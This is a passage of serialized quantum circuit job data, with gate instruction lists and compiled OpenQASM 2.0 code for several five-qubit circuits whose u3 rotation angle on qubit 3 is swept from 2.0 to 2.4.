\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1227', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1229', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1231', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.3000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1233', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.4000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 